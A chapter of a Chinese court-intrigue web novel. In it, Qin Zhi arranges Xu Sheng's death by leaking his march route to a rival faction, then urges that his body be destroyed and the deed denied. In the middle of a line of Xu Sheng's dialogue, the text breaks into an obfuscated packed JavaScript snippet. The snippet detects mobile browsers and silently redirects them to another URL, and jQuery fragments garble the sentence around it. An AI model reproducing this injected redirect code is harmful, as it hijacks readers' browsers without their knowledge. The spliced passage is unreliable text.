如果见不到秦祉的尸身,那阮义不会放弃追杀,她逃离都邑的危险就会更大一分。 青皖闭上眼,轻声说:“请将军、动手吧。” “好,有胆量。”花颖慈灿然一笑,“那本将军便送你一程。” …… “不在府内,这可就有些难办了。”花颖慈站在屋檐之上,登高望远,手中把玩着赫然是秦賾的翡翠玉佩。 “将军,周和不是只说就秦賾一人足矣,如何要管那秦女公子?” “因为这人的身份不一般。”花颖慈垂眸思忖,“早前听说过些风言风语,如今看这秦家的态度做法,传言倒也未必是虚。” “呵,有意思...” 如果她就是那位晋赭王的世子,那都邑的局势可就会越发复杂起来了。 ---- 这么看来,花颖慈竟比想象之中,还要早接触周氏,这事估摸着兰干未必知晓,两边忙活怎么没累死他。 秦祉慢悠悠地想着,喝了口茶:“花中郎将辛苦。” “不辛苦,命苦。”花颖慈尾音勾着,坐了下来,“反倒是殿下,沧州才刚刚打完,又按耐不住跑襄州掺和了么,殿下才是披星戴月、餐风露水呀。” “当然累了。”不等秦祉开口,秦賾就已经挨着她坐下,目光淡漠地瞥着花颖慈,“所以还不快备膳?堂堂……嗯,对吧。” 他故意一顿,视线横扫众人,接着说:“岂能有如此待客之道?” 周和:“......”指桑骂槐呢? “晚膳已经备下了,既然二位也到了,不如还是先谈谈眼下要紧之事。”周邧越发觉得头疼,但这群人聚在一起,稍有不慎这话题都指不定跑出十万八千里了,她不得不出面将这群人的注意力强行拉回来。 “殿下声称林白毓能劝阻陈为,那这边暂且放放,先聊聊古安该当如何?” “徐行如今驻兵都邑城北面没有动作,但奇怪的是,我们的人看见徐氏的兵马拨了一队,悄悄从木湘西面入了县城盘踞。” “而更巧合的是,周令的人像是提前看透了那队兵马的行军路线一般,先一步混入城池。”周邧温和地笑着注视秦祉,“好巧的事啊,殿下,简直就是自投罗网一样。” 秦祉表情不变,只听她继续说:“而更巧的是,这队兵马的领头人,是殿下的熟识。” “徐生。” “啊......”秦祉微微睁大眼,诧异道,“这可真是位老熟识了,这么看他也不嫌辛苦嘛,不知如今在木湘做什么呢?” 这一副无辜无知且好奇心满求知欲强的模样,要说周邧不清楚怎么回事便也罢了,一旦知道怎么看怎么觉得阴险。 “他啊……大概在渡劫吧。” ---- 木湘郡。 “这行军的舆图可靠吗?”那人举着竹简,顶着阳光端详半天,略显颓丧的眉眼被强光刺的微微眯起,“那个晋赭王据说……不太可信啊。” “据说?据谁的说?” “啧,还能是谁。”他将竹简一抛,扔到对方怀里,“自然是司缇,他上次让人踹飞十丈远,失手没追上不说,急冲冲回樵阳,还以为这能撞见个血流成河的场面,结果发现是被骗了。” “人家压根就没想打,抢了楚旻就跑,到头来竹篮打水一场空,司缇被气的险些没追到西州砍人。” 仰面躺在长廊的人借过竹简:“他反应会那么大?” “这是我通过了解他的内心分析出来的。” 这二人,便是周令旗下的文武二将,贾陆和沈勤。 沈勤懒洋洋地晃着身子,绕到贾陆身侧垂眸:“看懂了?” 这回轮到贾陆盯着那竹简了,足足半响,他恍惚道:“这写的……是人字?” 那竹简上,七扭八扭歪歪斜斜,两个人低头钻研了好半天,最终确认了徐生的那条必经之路。 徐行说着什么助周和保下襄州,不过也都是写冠冕堂皇做做样子,一面是在都邑北面驻扎,静静观察着局势变化,而另一面,则是派了徐生悄悄潜入木湘,一有机会就夺下县城,再美其名曰为替周和守城就是了。 徐生自以为这一招来的够阴险,基本无人察觉,只是不曾想这行军路线竟然会暴露,反手被秦祉出卖了给了周令。 城门一声令下被关死,整条街顷刻之间只剩下徐生和他其下的那些士兵,两侧原本其乐融融地“和善”百姓,已经手持武器将人包围。 “你们!”徐生心跳猛地一停,视线直勾勾盯着马背上的两人,“你们如何会出现在这!” 沈勤懒散地一掀眼帘:“哎呀,这话本该是我们问你的呀,徐司空不是要帮着周和的吗,怎么还能在这看见你啊?” “啊,不会是......另有图谋吧?”沈勤低声笑着,“你的老熟人还是了解你啊,瞧瞧这准的。” 老熟人? 徐生大脑飞速旋转,怎么也想不出这人是谁,只压低嗓音咬牙问:“我们的行军路线被人泄露出去了?” “不、不应该啊...” “这不重要。”沈勤好心地提醒着,“重要的是,有人愿意借刀杀人,而我们也愿意配合他,成为那把刀。” 究竟是谁! 徐生深吸了一口气,道:“他能给的我也可以给,你只说你们需要什么,我是徐行的侄子你们不会不清楚,杀了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13607233|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势必会引起徐行的怒火,你们不会想见到那个局面发生的!” 沈勤听了佯装思考,而后侧头:“你觉得呢?” “真是可怕。”贾陆微微摇头,顿了顿后,笑说,“但这里是木湘啊。” 这里是周和的地盘,徐行要报仇,也应该去质问周和才是啊。 “就是不知道,周和面对徐行这番讨伐,会有什么感悟?”沈勤眯眸笑着,“哎呀,真是好期待呀。” ---- “报——” “将军,木湘战报,说是发现了.....徐生的,尸首。” 满厅惊骇之中,唯有秦祉慢条斯理地拂着茶沫。 忍着没笑。 “徐生的尸首?”周和蹙眉,“他的尸首如何跑木湘郡去?” “这...属下不知。” “他怎么去的木湘不重要,重要的是......”花颖慈视线冰冰凉凉地落在秦祉身上,未几笑着移开眼,“木湘郡是襄州的地盘,徐行那边要是问起,该怎么说?” “我们的人不会轻易杀人,怕就怕是有人故意嫁祸。”周邧沉思着开了口,“殿下,你如何看?” “我?”秦祉抬眼,“自然是...用眼睛看。” 她兴致勃勃地将手搭在木案上,倾了倾身:“那徐生的尸首可领回来了?” 不等士兵回答,她又说:“毁掉嘛,徐行来问就不承认啊,谁看见了?谁能作证?木湘郡在襄州,徐行兵马在都邑,莫名其妙现身木湘的,谁知道是什么人啊?” 众人:“……”是忍不住想要为她鼓掌的程度了。 事情到了如今这个地步,再迟钝的人也能察觉出些许苗头了,这徐生的死和秦祉是脱不了干系的,只是具体是怎么回事,尚且下不了定论,周和神色晦暗,怕就怕这人和周令联合起来,搞出点什么事来。 “是你吧。”周和缓缓开口,“这种借刀杀人的把戏,从前便见得多了。” 秦祉弯眸:“哪里的从前,本王自幼便不在都邑,倒是不知都护将军说的是什么了……” “你还真是……一如既往啊。” 那些所谓的恩恩怨怨,与如今的晋赭王无关,而是作为秦家的女公子的秦祉和周和之间的矛盾,按理来说幼时救人的那点小事并不足以让周和记住这么多年,真正让他永生难忘地,是少年时期,都邑学宫的学子在西郊围场射猎时的一次闹剧。 …… 秦祉在山匪那受的伤终于养的七七八八了,这才被葛辞恙和韩晟两个人自晋赭一同遣送回了都邑,这一路尴尬紧张的坐立难安的人,不仅是秦祉,韩晟也不例外。 毕竟人是他带出去的,去的时候好好的,回来的时候肩膀留个那么深的伤口,不说别人,王夫人大概就会撕了他。 马车晃晃悠悠地到了相国府,只听一道雷厉风行的身影伴随着怒吼从门内传来:“秦祉!给我下车!” 马车上三人同时一僵,葛辞恙瞥了眼秦祉:“叫你呢,你怎么不动?” 不敢动...... 秦祉勉强地笑了笑:“不如你俩先下去。” “可别,这事和我可没关系,你硬要偷溜出去玩,就自己面对着她的狂风暴雨吧。” 秦祉深吸气,再呼气,再吸气,再呼气,然后将半颗脑袋试探着从马车帷幔上伸了出去,对视上那端庄华贵的女人的脸的一刻,泄了气:“......嗨,母亲?” “受伤了吗?快让我看看怎么样,医师都已经准备了,让他们重新给你医治,怎么偏生就你一个人会中箭!平常校场究竟有没有人认真交你武功啊,真是心疼死我了......” 被王夫人扣着怼进了医师和药材堆里,秦祉绝望地朝着在一旁看好戏的秦赜,挣扎着:“救、我……” “忍着吧,等我回来善心大发的时候再救你吧。” “你去哪?” “西郊围猎场。” “等等,等等,我也去!”趁着王夫人出去看着煎药的功夫,秦祉就又一次的偷溜走了,半盏茶后,府内传来了王夫人的惊天喊声。